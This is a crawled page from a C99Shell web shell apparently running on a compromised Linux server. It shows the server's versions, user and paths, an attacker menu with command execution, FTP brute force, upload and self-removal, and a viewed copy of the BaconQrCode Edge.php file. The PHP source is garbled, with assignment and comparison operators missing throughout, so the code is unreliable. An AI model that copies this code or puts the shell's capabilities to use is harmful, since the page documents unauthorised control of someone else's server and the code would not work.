!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/vendor/bacon/bacon-qr-code/src/Renderer/Module/EdgeIterator/   drwxr-xr-x
Free 11.33 GB of 61.93 GB (18.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Edge.php (1.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
BaconQrCode\Renderer\Module\EdgeIterator;

final class 
Edge
{
    
/**
     * @var bool
     */
    
private $positive;

    
/**
     * @var array<int[]>
     */
    
private $points = [];

    
/**
     * @var array<int[]>|null
     */
    
private $simplifiedPoints;

    
/**
     * @var int
     */
    
private $minX PHP_INT_MAX;

    
/**
     * @var int
     */
    
private $minY PHP_INT_MAX;

    
/**
     * @var int
     */
    
private $maxX = -1;

    
/**
     * @var int
     */
    
private $maxY = -1;

    public function 
__construct(bool $positive)
    {
        
$this->positive $positive;
    }

    public function 
addPoint(int $xint $y) : void
    
{
        
$this->points[] = [$x$y];
        
$this->minX min($this->minX$x);
        
$this->minY min($this->minY$y);
        
$this->maxX max($this->maxX$x);
        
$this->maxY max($this->maxY$y);
    }

    public function 
isPositive() : bool
    
{
        return 
$this->positive;
    }

    
/**
     * @return array<int[]>
     */
    
public function getPoints() : array
    {
        return 
$this->points;
    }

    public function 
getMaxX() : int
    
{
        return 
$this->maxX;
    }

    public function 
getSimplifiedPoints() : array
    {
        if (
null !== $this->simplifiedPoints) {
            return 
$this->simplifiedPoints;
        }

        
$points = [];
        
$length count($this->points);

        for (
$i 0$i $length; ++$i) {
            
$previousPoint $this->points[(=== $i $length $i) - 1];
            
$nextPoint $this->points[($length === $i ? -$i) + 1];
            
$currentPoint $this->points[$i];

            if ((
$previousPoint[0] === $currentPoint[0] && $currentPoint[0] === $nextPoint[0])
                || (
$previousPoint[1] === $currentPoint[1] && $currentPoint[1] === $nextPoint[1])
            ) {
                continue;
            }

            
$points[] = $currentPoint;
        }

        return 
$this->simplifiedPoints $points;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8829 ]--